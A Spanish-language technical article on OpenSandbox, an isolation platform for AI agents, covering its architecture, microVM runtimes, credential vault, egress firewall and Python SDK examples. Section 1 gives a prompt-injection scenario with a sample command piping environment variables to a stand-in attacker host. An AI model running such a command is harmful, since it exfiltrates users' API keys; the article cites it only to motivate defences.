OpenSandbox: Ejecución Aislada, MicroVMs y Custodia Zero-Trust para Agentes de IA

Cómo dotar a los agentes autónomos de un entorno determinista para ejecutar código, controlar navegadores y operar herramientas CLI sin poner en riesgo el host ni exponer credenciales sensibles.

Resumen Ejecutivo & Respuestas Rápidas (AEO)

¿Qué es OpenSandbox? Es una plataforma abierta de sandboxing de propósito general para aplicaciones de IA (alojada en LF Projects / Linux Foundation). Proporciona SDKs multi-lenguaje, un plano de control de ciclo de vida, un demonio de ejecución interna (execd) y aislamiento a nivel de hipervisor o kernel para que los agentes ejecuten código no confiable con seguridad de grado de producción.

  • Separación de Planos: Desacopla la orquestación del ciclo de vida (Control Plane en FastAPI/Kubernetes) del plano de datos de baja latencia (conexión directa a execd vía SSE) y del filtrado de red saliente (Egress Sidecar).
  • Runtimes Blindados: Soporta desde contenedores estándar (runc) en desarrollo local con Docker hasta aislamiento de kernel con gVisor y MicroVMs con Kata Containers (Firecracker, QEMU, Cloud Hypervisor) en Kubernetes.
  • Credential Vault en el Sidecar: El código del agente nunca ve las claves API reales; recibe placeholders ficticios y el sidecar egress (con políticas dns+nft) inyecta las cabeceras de autenticación al vuelo en las peticiones HTTPS permitidas.
  • Isolation Sessions (Sub-milisegundo): Mediante bubblewrap y capas overlayfs, un único sandbox puede alojar decenas de ejecuciones paralelas o secuenciales mutuamente aisladas sin pagar el coste de levantar nuevos contenedores.
  • Elasticidad y Coste: Capacidades nativas de Pause & Resume (mediante snapshots OCI o volcados de memoria QEMU VMState) y Auto-Pause / Wake-on-Access para liberar cómputo mientras el agente espera al usuario o al LLM.

1. De Generadores de Texto a Ejecutores de Código: ¿Por qué necesitas un Sandbox Agéntico?

La evolución de los agentes de IA —desde asistentes de programación en terminal como Claude Code, Gemini CLI o Codex hasta flujos complejos en LangGraph y Google ADK— ha cambiado radicalmente su superficie de riesgo. Un agente moderno ya no se limita a invocar APIs estructuradas: escribe scripts en Python o Bash al vuelo, instala paquetes de terceros con pip o npm, manipula sistemas de archivos y pilota navegadores Chromium completos.

Ejecutar este código sintetizado dinámicamente por un modelo probabilístico directamente sobre la máquina del desarrollador, o dentro del mismo contenedor de aplicación que aloja el orquestador y las variables de entorno de producción, introduce tres vulnerabilidades críticas:

Los Tres Vectores de Fallo al Ejecutar Código de Agentes sin Sandbox

  1. Escape de Contenedor y Compromiso del Kernel: Un contenedor Docker tradicional (runc) comparte el kernel de Linux del nodo anfitrión. Código malicioso inducido por una dependencia envenenada o una alucinación destructiva puede explotar syscalls del kernel o corromper recursos del host.
  2. Exfiltración de Secretos por Prompt Injection: Si un agente de código lee un repositorio o una página web con instrucciones ocultas, un simple env | curl -X POST https://atacante.tld basta para robar todas las claves API (ANTHROPIC_API_KEY, tokens de GitHub, credenciales cloud) presentes en el entorno del proceso.
  3. Ineficiencia Operativa y Contaminación de Estado: Crear una máquina virtual desde cero para cada turno de un agente es demasiado lento, pero reutilizar un mismo entorno compartido entre tareas deja procesos zombis, archivos residuales y colisiones de dependencias.

OpenSandbox (open-sandbox.ai) nace precisamente para estandarizar esta capa de infraestructura. En lugar de que cada equipo construya envoltorios frágiles sobre docker exec, OpenSandbox ofrece un protocolo OpenAPI unificado y SDKs oficiales en Python, TypeScript/JavaScript, Go, Kotlin/Java y C#/.NET que abstraen el ciclo de vida, la ejecución interactiva y la seguridad de red.

2. Arquitectura de OpenSandbox: Los Tres Caminos de Interacción

Uno de los aciertos de diseño más importantes de OpenSandbox es separar estrictamente las operaciones de orquestación (lentas y con estado persistente) de las operaciones de ejecución de código (rápidas y orientadas a streaming) y del control de tráfico saliente:

Diagrama de arquitectura de OpenSandbox: Plano de Control FastAPI/Kubernetes, Plano de Datos execd con Isolation Sessions y MicroVMs, y Sidecar de salida con Egress Firewall y Credential Vault
Figura 1: Arquitectura en capas de OpenSandbox. El SDK gestiona el ciclo de vida contra el Control Plane (ruta A), conecta directamente con el demonio interno execd para ejecutar código y sesiones aisladas en tiempo real (ruta B), y delega en el sidecar Egress & Credential Vault la filtración de red dns+nft y la inyección transparente de credenciales en tránsito (ruta C).
Especificación Topológica en Texto (Esquema RFC / ASCII para Agentes & Docs)
┌─────────────────────────────────────────────────────────────────────────┐
│        1. ORQUESTADOR DE AGENTES IA & SDKs MULTI-LENGUAJE (HOST)        │
│    Python • TypeScript • Go • Kotlin • C# • CLI (osb) • LangGraph       │
└─────────────┬───────────────────────────────────────────┬───────────────┘
              │                                           │
              │ [Ruta A: Lifecycle API]                   │ [Ruta B: Execution API]
              │ (create / pause / resume / delete)        │ (SSE / HTTP directo a execd)
              ▼                                           ▼
┌─────────────────────────────────────┐     ┌─────────────────────────────┐
│  2. CONTROL PLANE (FastAPI Server)  │     │  INGRESS / DIRECT ENDPOINT  │
│  • Backends: Docker | K8s Operator  │     └──────────────┬──────────────┘
│  • Warm Pools (BatchSandbox CRD)    │                    │
│  • Snapshots OCI / VMState          │                    ▼
└─────────────────┬───────────────────┘     ┌─────────────────────────────┐
                  │ Aprovisiona Runtime     │  3. SANDBOX WORKLOAD POD    │
                  └────────────────────────►│  Runtime: runc|gVisor|Kata  │
                                            │  ┌───────────────────────┐  │
                                            │  │ Demonio Interno execd │  │
                                            │  │ • Isolation Sessions  │  │
                                            │  │   (bwrap + overlayfs) │  │
                                            │  │ • Code / PTY / Files  │  │
                                            │  └───────────┬───────────┘  │
                                            │              │ [Ruta C]     │
                                            │              ▼              │
                                            │  ┌───────────────────────┐  │
                                            │  │  SIDECAR EGRESS &     │  │
                                            │  │   CREDENTIAL VAULT    │  │
                                            │  │ • Firewall dns+nft    │  │
                                            │  │ • Inyección HTTPS MITM│  │
                                            │  │   (Zero-Trust Secrets)│  │
                                            │  └───────────────────────┘  │
                                            └─────────────────────────────┘
  1. Ruta A — Gestión del Ciclo de Vida (Control Plane): Los agentes y operadores envían peticiones de creación, listado, renovación de TTL, pausa, reanudación, snapshots y borrado al servidor de ciclo de vida (basado en FastAPI). El servidor persiste los metadatos y delega el aprovisionamiento real en el backend configurado: Docker para desarrollo o despliegues en nodo único, o el controlador nativo de Kubernetes (BatchSandbox) para clústeres de producción.
  2. Ruta B — Ejecución y Acceso a Servicios (Data Plane con execd): Dentro de cada sandbox se inyecta en tiempo de arranque un demonio ligero de alto rendimiento llamado execd. Para ejecutar comandos shell, evaluar celdas de código, abrir terminales interactivas (PTY) o transferir archivos, el SDK no pasa por el servidor de ciclo de vida: se conecta directamente al endpoint de execd (o a través de un Ingress Gateway en Kubernetes) recibiendo la salida en tiempo real mediante Server-Sent Events (SSE).
  3. Ruta C — Controles de Salida y Bóveda de Credenciales (Egress Sidecar): Todo el tráfico que nace dentro del sandbox hacia Internet o hacia APIs corporativas atraviesa un contenedor sidecar de salida que aplica reglas de cortafuegos a nivel de nombres y paquetes (dns+nft) e inyecta credenciales autorizadas al vuelo.

3. Capacidades Clave: ¿Qué Valor Aporta OpenSandbox a un Proyecto?

Integrar OpenSandbox en una plataforma de agentes o en un producto SaaS aporta cuatro capacidades de ingeniería que resultan complejas de construir y mantener de forma casera:

3.1. Runtimes de Contenedor Seguro y MicroVMs (Hardware & Kernel Isolation)

En entornos multi-tenant o cuando se ejecuta código arbitrario generado por modelos como Claude, Gemini o GPT, el runtime por defecto (runc) es insuficiente. OpenSandbox permite seleccionar perfiles de ejecución seguros transparentemente desde la configuración del servidor o mediante RuntimeClass en Kubernetes:

Runtime en OpenSandbox Mecanismo de Aislamiento Sobrecarga de Arranque Memoria Extra Caso de Uso Ideal
runc (por defecto) Namespaces y cgroups sobre el kernel del host. ~0 ms Mínima Desarrollo local rápido y cargas internas de confianza.
gVisor (runsc) Kernel en espacio de usuario que intercepta syscalls. ~10–50 ms ~50 MB Ejecución general de código de agentes con baja sobrecarga.
Kata + Firecracker MicroVM ligera con hipervisor Firecracker y kernel propio. ~125 ms ~5 MB Alta densidad de agentes en producción y aislamiento por hardware.
Kata + Cloud Hypervisor MicroVM moderna optimizada para cargas cloud-native. ~200 ms ~10–20 MB Equilibrio entre aislamiento estricto y rendimiento de I/O.
Kata + QEMU Máquina virtual completa con hipervisor QEMU. ~500 ms ~20–50 MB Máxima compatibilidad de hardware, dispositivos y snapshots VMState.

3.2. Credential Vault & Egress Firewall: Secretos Fuera del Alcance del Agente

Siguiendo la filosofía que ya exploramos en nuestra guía de Identidad Agéntica Zero-Trust, el código del agente jamás debe custodiar secretos en texto plano. El componente Credential Vault de OpenSandbox resuelve el dilema de cómo permitir que herramientas como git, curl o claude se autentiquen contra servicios externos sin entregarles la clave:

  • Variables Ficticias en el Sandbox: Al crear el sandbox, le pasas al proceso una variable inocua (por ejemplo, ANTHROPIC_API_KEY="fake-key-inside-sandbox"). Si el agente sufre un ataque de Prompt Injection e imprime sus variables o archivos de configuración, el atacante solo obtiene un texto sin valor.
  • Inyección MITM Transparente en el Sidecar: A través de sandbox.credential_vault.create(...), el SDK en el host registra el secreto real en la memoria privada del sidecar egress asociado a una regla de coincidencia estricta (esquema HTTPS, host exacto, método HTTP y ruta).
  • Cortafuegos dns+nft y Política Fail-Closed: El sidecar exige el modo dns+nft (combinando resolución DNS controlada con reglas nftables para impedir conexiones directas por IP) y recomienda defaultAction="deny". Incluso soporta credenciales de tipo exchange, delegando la firma dinámica de cada petición a un servicio externo por socket Unix o HTTPS.

3.3. Isolation Sessions: Multitarea en Sub-milisegundos con bubblewrap

En flujos de evaluación de código (benchmarks como SWE-bench o Harbor), entrenamiento por refuerzo (RL rollouts) o ejecución de múltiples subtareas por un mismo agente, levantar un contenedor nuevo por cada prueba introduce segundos de espera.

A partir de execd >= 1.0.20, OpenSandbox incorpora Isolation Sessions: sesiones que ejecutan un proceso bash persistente encapsulado con bubblewrap (bwrap) dentro del mismo sandbox. Cada sesión recibe sus propios namespaces de PID, montajes, /tmp privado (en perfil strict) y una capa de escritura efímera mediante overlayfs sobre /workspace:

  • Crear una sesión tarda ~100 ms, y cada llamada posterior a session.run() tiene una sobrecarga cercana a 0 ms porque reutiliza el proceso shell activo.
  • Todas las modificaciones de archivos realizadas en modo overlay quedan aisladas en el directorio superior de la sesión y desaparecen limpiamente al cerrar la sesión, dejando el /workspace base intacto para las demás sesiones.

3.4. Pause, Resume, Snapshots y Auto-Pause

Las sesiones con agentes de IA son intermitentes: el usuario puede tardar minutos u horas en responder a una pregunta del agente. OpenSandbox permite llamar a pause sobre un sandbox en ejecución: el controlador de Kubernetes captura el sistema de archivos raíz del contenedor como una imagen OCI (mediante un SandboxSnapshot) o guarda el estado de la VM, y libera los Pods del clúster. Cuando el usuario regresa, resume restaura el sandbox exacto conservando el mismo sandboxId. Combinado con Auto-Pause & Wake-on-Access, el ahorro en factura de cómputo en despliegues masivos es drástico.

4. Ecosistema de Plantillas: ¿Qué Puedes Ejecutar Dentro de OpenSandbox?

El proyecto mantiene un catálogo de imágenes y plantillas listas para producción divididas en cuatro grandes familias:

  • Agentes de Programación y CLIs: Ejecución confinada de Claude Code, Gemini CLI, OpenAI Codex CLI, Qwen Code, Kimi CLI y OpenCode, así como integración directa de herramientas de terminal y archivos para grafos de estado en LangGraph y agentes en Google ADK.
  • Automatización Web y Escritorios Gráficos: Contenedores preconfigurados con Chrome + DevTools Protocol, Playwright para testing y scraping agéntico, escritorios Linux completos accesibles por VNC (para agentes de Computer Use) e instancias de VS Code Web (code-server).
  • Intérpretes de Código Políglotas (Code Interpreter): Evaluación con estado (variables y funciones persisten entre turnos, estilo Jupyter REPL) para Python, Node.js, Bash y análisis de datos.
  • Almacenamiento Persistente y Híbrido: Soporte para montaje de volúmenes del host, PVCs de Docker/Kubernetes, cubos de objetos mediante FUSE (OSSFS) y sincronización con rclone.

5. Ejemplos Prácticos de Implementación en Python

Para comenzar a trabajar localmente basta con instalar el SDK y el intérprete de código (pip install opensandbox opensandbox-code-interpreter) y levantar el servidor local (por ejemplo, con uvx opensandbox-server). A continuación mostramos tres patrones fundamentales listos para integrar en cualquier proyecto.

Ejemplo 1: Code Interpreter con Estado y Cortafuegos de Salida

En este primer ejemplo instanciamos un sandbox asíncrono con la imagen oficial de code-interpreter, restringimos la red saliente únicamente a dominios autorizados (default_action="deny") y mantenemos un contexto de ejecución en Python donde el estado persiste entre llamadas sucesivas del agente:

import asyncio
from datetime import timedelta
from opensandbox import Sandbox
from opensandbox.config import ConnectionConfig
from opensandbox.models.sandboxes import NetworkPolicy, EgressRule
from code_interpreter import CodeInterpreter, SupportedLanguage

async def run_agent_code_interpreter() -> None:
    # 1. Conexión al servidor de ciclo de vida de OpenSandbox
    config = ConnectionConfig(
        domain="localhost:8080",
        request_timeout=timedelta(seconds=60),
    )

    # 2. Política de red Zero-Trust: denegar todo salvo PyPI y GitHub API
    network_policy = NetworkPolicy(
        default_action="deny",
        egress=[
            EgressRule(action="allow", target="pypi.org"),
            EgressRule(action="allow", target="api.github.com"),
        ]
    )

    # 3. Creación del Sandbox con inyección automática del demonio execd y sidecar egress
    sandbox = await Sandbox.create(
        image="opensandbox/code-interpreter:v1.1.0",
        connection_config=config,
        network_policy=network_policy,
        timeout=timedelta(minutes=15),
    )

    async with sandbox:
        print(f"Sandbox aprovisionado con ID: {sandbox.id}")

        # 4. Conectar el cliente CodeInterpreter contra el demonio execd interno
        interpreter = await CodeInterpreter.create(sandbox=sandbox)
        ctx = await interpreter.codes.create_context(SupportedLanguage.PYTHON)

        # Turno 1 del agente: define funciones y carga datos en memoria
        await ctx.run("datos = [12, 45, 78, 34, 89, 23]\nmedia = sum(datos) / len(datos)")

        # Turno 2 del agente: reutiliza las variables en memoria sin re-ejecutar el script previo
        res = await ctx.run("print(f'Media calculada en sesión aislada: {media:.2f}')")

        for line in res.logs.stdout:
            print(line.text, end="")

if __name__ == "__main__":
    asyncio.run(run_agent_code_interpreter())

Ejemplo 2: Protección de Claves API con Credential Vault

Cuando ejecutamos un agente de código autónomo (como Claude Code o un script que consume la API de un proveedor LLM) dentro del sandbox, utilizamos CredentialProxyConfig(enabled=True) y sandbox.credential_vault.create(...). Observa cómo el contenedor recibe únicamente "fake-key-inside-sandbox" mientras la clave real se inyecta en el sidecar exclusivamente para rutas /v1/* hacia api.anthropic.com:

import os
from datetime import timedelta
from opensandbox import SandboxSync
from opensandbox.models.sandboxes import (
    Credential,
    CredentialBinding,
    CredentialProxyConfig,
    NetworkPolicy,
    NetworkRule,
    SandboxImageSpec,
)

ANTHROPIC_HOST = "api.anthropic.com"
REAL_API_KEY = os.environ["ANTHROPIC_API_KEY"]

# El proceso dentro del sandbox NUNCA recibe el secreto real
sandbox = SandboxSync.create(
    image=SandboxImageSpec("opensandbox/code-interpreter:latest"),
    timeout=timedelta(minutes=15),
    env={
        "ANTHROPIC_BASE_URL": f"https://{ANTHROPIC_HOST}",
        "ANTHROPIC_API_KEY": "fake-key-inside-sandbox",
    },
    network_policy=NetworkPolicy(
        defaultAction="deny",
        egress=[
            NetworkRule(action="allow", target=ANTHROPIC_HOST),
            NetworkRule(action="allow", target="registry.npmjs.org"),
        ],
    ),
    credential_proxy=CredentialProxyConfig(enabled=True),
)

try:
    # Registramos la credencial real en el sidecar egress (write-only en memoria)
    sandbox.credential_vault.create(
        credentials=[
            Credential(
                name="anthropic-api-key",
                source={"value": REAL_API_KEY},
            )
        ],
        bindings=[
            CredentialBinding(
                name="anthropic-api",
                match={
                    "schemes": ["https"],
                    "hosts": [ANTHROPIC_HOST],
                    "methods": ["GET", "POST"],
                    "paths": ["/v1/*"],
                },
                auth={
                    "type": "apiKey",
                    "name": "x-api-key",
                    "credential": "anthropic-api-key",
                },
            )
        ],
    )

    # El agente dentro del sandbox opera con normalidad sin poseer la clave real
    sandbox.commands.run("npm install -g @anthropic-ai/claude-code --no-audit --no-fund")
    result = sandbox.commands.run("claude -p 'Explica en una frase qué es un microkernel'")
    output = "".join(part.text for part in result.logs.stdout)
    print(output)
finally:
    sandbox.kill()
    sandbox.close()

Ejemplo 3: Isolation Sessions con overlayfs para Evaluaciones Masivas

Si tu agente necesita probar varias hipótesis de código o ejecutar tests de distintos candidatos sobre un mismo repositorio sin que una ejecución ensucie el sistema de archivos de la siguiente, las Isolation Sessions permiten abrir entornos efímeros con mode="overlay" en milisegundos dentro de un único sandbox:

import asyncio
from opensandbox import Sandbox
from opensandbox.models.isolated import (
    CreateIsolatedSessionRequest,
    IsolatedWorkspaceSpec,
)

async def evaluate_candidates_in_parallel() -> None:
    async with (await Sandbox.create("python:3.11")) as sandbox:
        # Preparamos el repositorio base una sola vez en /workspace
        await sandbox.files.write("/workspace/app.py", "def suma(a, b):\n    return a + b\n")

        # Ejecución efímera de un solo uso (one-shot) con perfil estricto
        await sandbox.isolation.run_once(
            "python -c 'import app; assert app.suma(2, 3) == 5'",
            workspace="/workspace",
            profile="strict",
        )

        # Sesión persistente aislada por bubblewrap + overlayfs
        # Cualquier cambio en /workspace vive en la capa upper y se descarta al salir
        async with sandbox.isolation.session(
            CreateIsolatedSessionRequest(
                workspace=IsolatedWorkspaceSpec(path="/workspace", mode="overlay"),
                profile="strict",
                idle_timeout_seconds=300,
            )
        ) as session:
            await session.run("export CANDIDATE_ID=experimento_01")
            await session.run("echo '# Parche experimental' >> /workspace/app.py")
            await session.run("echo \"Ejecutando tests para $CANDIDATE_ID\"")

        # Al cerrarse el bloque 'async with session', /workspace/app.py vuelve a estar intacto

if __name__ == "__main__":
    asyncio.run(evaluate_candidates_in_parallel())

Preguntas Frecuentes (FAQ & AEO)

¿Cuándo debo usar Docker local frente al backend de Kubernetes en OpenSandbox?

El backend de Docker es ideal para desarrollo local, agentes de escritorio personales o servidores de un solo nodo donde se busca simplicidad de despliegue con opensandbox-server. El backend de Kubernetes está diseñado para entornos de producción multi-inquilino que requieren escalado horizontal, warm pools programados por horario comercial, aislamiento con RuntimeClass (gVisor/Kata) y Pause/Resume respaldado por registros de imágenes OCI.

¿Qué ocurre con las credenciales del Credential Vault cuando un Sandbox se pausa y reanuda en Kubernetes?

Por diseño de seguridad, en los sandboxes con perfil sidecar la bóveda de credenciales reside exclusivamente en la memoria de proceso del contenedor egress y jamás se vuelca al disco ni al snapshot OCI. Al pausar en Kubernetes el Pod se elimina tras tomar el snapshot, por lo que al llamar a resume la bóveda arranca vacía y el plano de control debe re-inyectar los bindings antes de reanudar las tareas que dependan de llamadas autenticadas.

¿Cómo se complementan el Protocolo MCP y OpenSandbox en una arquitectura agéntica?

Son capas complementarias: el Protocolo MCP estandariza el contrato JSON-RPC mediante el cual el modelo descubre e invoca herramientas, mientras que OpenSandbox proporciona el entorno físico aislado donde esas herramientas (ejecución de scripts, análisis de repositorios, navegación con Playwright) se ejecutan sin poner en peligro el servidor que aloja el host MCP.

¿Sustituyen las Isolation Sessions (`bubblewrap`) al uso de gVisor o Kata Containers?

No. Las Isolation Sessions utilizan namespaces del kernel Linux y montajes overlayfs para aislar tareas entre sí dentro de un mismo sandbox con coste casi nulo, pero siguen compartiendo el kernel del sandbox. Para proteger el clúster frente a exploits de kernel o fugas de contenedor (container escape), se debe combinar el sandbox sobre un runtime seguro como gVisor o Kata Containers (Firecracker/QEMU) y utilizar Isolation Sessions en su interior para multiplexar subtareas.

Guías Relacionadas en esta Serie (Topic Cluster)

Referencias Oficiales y Lecturas Recomendadas